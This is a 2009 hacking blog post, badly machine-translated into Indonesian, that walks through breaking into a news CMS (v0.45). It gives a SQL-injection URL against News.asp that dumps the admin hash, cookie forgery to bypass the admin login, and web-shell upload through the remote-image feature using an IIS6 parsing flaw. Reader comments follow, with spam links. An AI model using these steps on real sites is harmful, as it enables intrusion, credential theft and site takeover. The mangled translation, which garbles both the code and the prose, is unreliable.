Berita sistem didih v0.45 Ambil SHELL-the IIS6 parsing News.asp kerentanan, mendidih, mendidih sistem berita, suntikan remote untuk menyimpan gambar, st0p-blog

Didih berita sistem v0.45 untuk mendapatkan SHELL yang

Catatan ini telah diposting pada 25 September 2009

: St0p
Direproduksi cantumkan sumber: http://www.st0p.org

Catatan: untuk mengingatkan administrator stasiun target untuk mengisi lubang.

Melihat kelompok mana bahan tidak dikirim ke stasiun, terbuka tampak ingin merebus sistem berita, tapi versi tertulis adalah v0.1, Internet tidak menemukan versi yang sesuai, ada dua versi 1,1 dan 0,45, ingat News.asp disuntikkan ada, memang, tetapi karena versi yang berbeda, sehingga bidang meja berita, semua pernyataan yang sedikit berbeda.

Setelah upaya st0p, stasiun tujuan harus 0,45 dari latar belakang nama pengguna dan password keberhasilan Hash melalui pernyataan berikut, saya mencoba 27 bidang kesuksesan. .

  Sebuah

  http://st0p.org/News.asp?click=1&shu=20% 201% 20as% 20NewsID, username% 20title% 20as, 20updatetime% 3% 20as, passwd% 20as% 20click, 5,6,7,8, 9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27% 20from% 20admin%% 20order 20% 20dan% 202% 20desc% 20union% 20select% 202% 20top

Lihat, kami tidak mendapatkan nama pengguna xcb sandi c95ca278a74775f8, dan kemudian kami pergi untuk crack MD5, depresi, mencari tahu, tidak bisa istirahat, tidak memasukkan latar belakang untuk maju. . .
Lalu aku memeriksa versi 0,45 dari kode dan menemukan bagian dalam admin / chkuser.asp memvalidasi user login, kita melihat kode

 ( Request . cookies ( "KEY" ) = "super" or Request . cookies ( "KEY" ) = "check" or Request . cookies ( "KEY" ) = "typemaster" or Request . cookies ( "KEY" ) = "bigmaster" or Request . cookies ( "KEY" ) = "smallmaster" or Request . cookies ( "KEY" ) = "selfreg" ) THEN '首先检测cookies中的key，如果不为上面的值，自动转向登陆页面 response . redirect "login.asp" response . end END IF set urs = server . createobject ( "adodb.recordset" ) sql = "select * from admin where username='" & Request. cookies ( "username" ) & "'" '查询cookies中username是否是管理用户 urs. open sql,conn, 1 , 3 if urs. bof or urs. eof then response . redirect "login.asp" response . end end if IF Request . cookies ( "passwd" ) <> urs ( "passwd" ) THEN '如果用户存在，验诈cookies中的passwd字段是否和用户的密码HASH相同，不同则转向 response . redirect "login.asp" response . end END IF urs. close set urs = nothing %> <% JIKA tidak (Request. Cookie ("KUNCI") = "super" atau Permintaan Cookie ("KUNCI"). Cookies = "check" atau Permintaan. ("KUNCI") = "typemaster" atau Permintaan Cookie (. "KUNCI ") =" bigmaster "atau Permintaan cookie (." KUNCI ") =" smallmaster "atau Permintaan. cookie (" KUNCI ") =" selfreg ") MAKA pertama telah mendeteksi cookie kunci, jika tidak untuk nilai di atas, secara otomatis beralih ke halaman arahan adalah respon dari redirect "login.asp" respons. AKHIR akhir JIKA set urs = server. CreateObject ("ADODB.Recordset") sql = "select * from admin dimana username = '" & cookie Request ("username") & "'"' pertanyaan cookie nama pengguna adalah apakah pengguna administratif urs terbuka sql., conn, 1, 3 jika urs bof atau. urs. eof maka respon redirect "login.asp" akhir respon akhir jika. JIKA Permintaan. cookie ( "passwd") <> urs ("passwd") THEN 'Jika pengguna ada, cookie pengalaman lapangan penipuan passwd jika password Hash pengguna gilirannya berbeda untuk respon. redirect "login.asp" respons AKHIR akhir IF. urs menutup set urs% tidak =>.

Hei, keberuntungan benar-benar baik, Meskipun tidak mungkin untuk memecahkan Hash password, tetapi Anda dapat menggunakannya untuk menyadari penipuan. Lihatlah penggunaan proses. .
Kami menggunakan http://st0p.org/admin/index.asp domain terbuka ketika ia akan pergi ke login.asp

Dan kemudian kita menghapus cookie reglevel; nama lengkap; lingkup; KUNCI, bagian UserName, kemudian menambahkan UserName yang = xcb; KUNCI = super; passwd = c95ca278a74775f8, nama pengguna dan penggantian password, kuncinya langsung dapat menggunakan super.
Kami menunjuk ke memodifikasi

Dan kemudian mengubah URL telah berubah link point http://st0p.org/admin/index.asp

Berhasil masuk ke latar belakang, hei, kita langsung lagi di sebelah kanan itu, sistem ini memiliki fungsi untuk menyimpan gambar remote, kita biasa datang dan mengumpulkan SHELL Pertama, tambahkan artikel, dan kemudian plug-in editor gambar, alamat pada server kami kuda, masukkan, pilih gambar yang terpencil Simpan. Dan kemudian menyerahkan

Maka kita hanya memerlukan akses untuk menambahkan artikel yang baik, menyalin gambar dari alamat di dalam. Server dari stasiun target IIS6 itu, ayat di atas juga tidak melaporkan kerentanan parsing, gunakan saja, hehe.
Kami sekarang memiliki firman kuda poni, dan mengapa saya tidak mengatakan. . .
Namun, hak akses dari stasiun target cukup BT, hanya direktori upload ditulis, tetapi juga tidak dapat dihapus. . Perlahan-lahan tidak berhak untuk itu, catatan pertama tentang. . .

Pelajari · Cheats seni bela diri

153 Responses to "merebus sistem berita v0.45 untuk mendapatkan SHELL yang

Dengan Minghacker pada Sep 26, 2009 | Reply
Daniel st0p ~ ~ ~ ~ ibadah
Dengan icysun pada Sep 26, 2009 | Reply
Tidak sistem ..
Obligasi ini lingkungan dunia Ya ..
st0p Reply:
26 September 2009 di 12:21
Anda mengatakan saya melakukan ini?
Mendidih dan 0,45 dari sistem berita,
icysun Reply:
September 26, 2009 pada 12:30
Ya
Dengan b00lean pada Sep 28, 2009 | Reply
ternak st0p Anda tidak sekolah kita bagaimana untuk tidak pergi
Dengan jshfuitg pada Nov 25, 2009 | Reply
dCATec qhuvtpiheyue , [url = http://ggwyligshlfd.com/ ggwyligshlfd [/ url], [link = http://nxjhtastnpxn.com/] nxjhtastnpxn [/ link], http://kwxzxruczflr.com/
Dengan adkpaxv pada Nov 27, 2009 | Reply
T9v9E0 oihbhcyxrstd , [url = http://ztggdtdbkkjc.com/ ztggdtdbkkjc [/ url], [link = http://haboolnldgjd.com/] haboolnldgjd [/ link], http://zsjtcxcsvmjj.com/
Dengan Seengart pada 14 Desember 2009 | Reply
eh .. terima kasih atas pengalaman ini )
Dengan FarmerLupe33 pada Nov 4, 2011 | Reply
Para pinjaman, tampaknya, menjadi bermanfaat bagi orang yang bersedia memulai karir mereka sendiri. Sebagai sebuah fakta, bahwa tidak sulit untuk mendapatkan pinjaman komersial.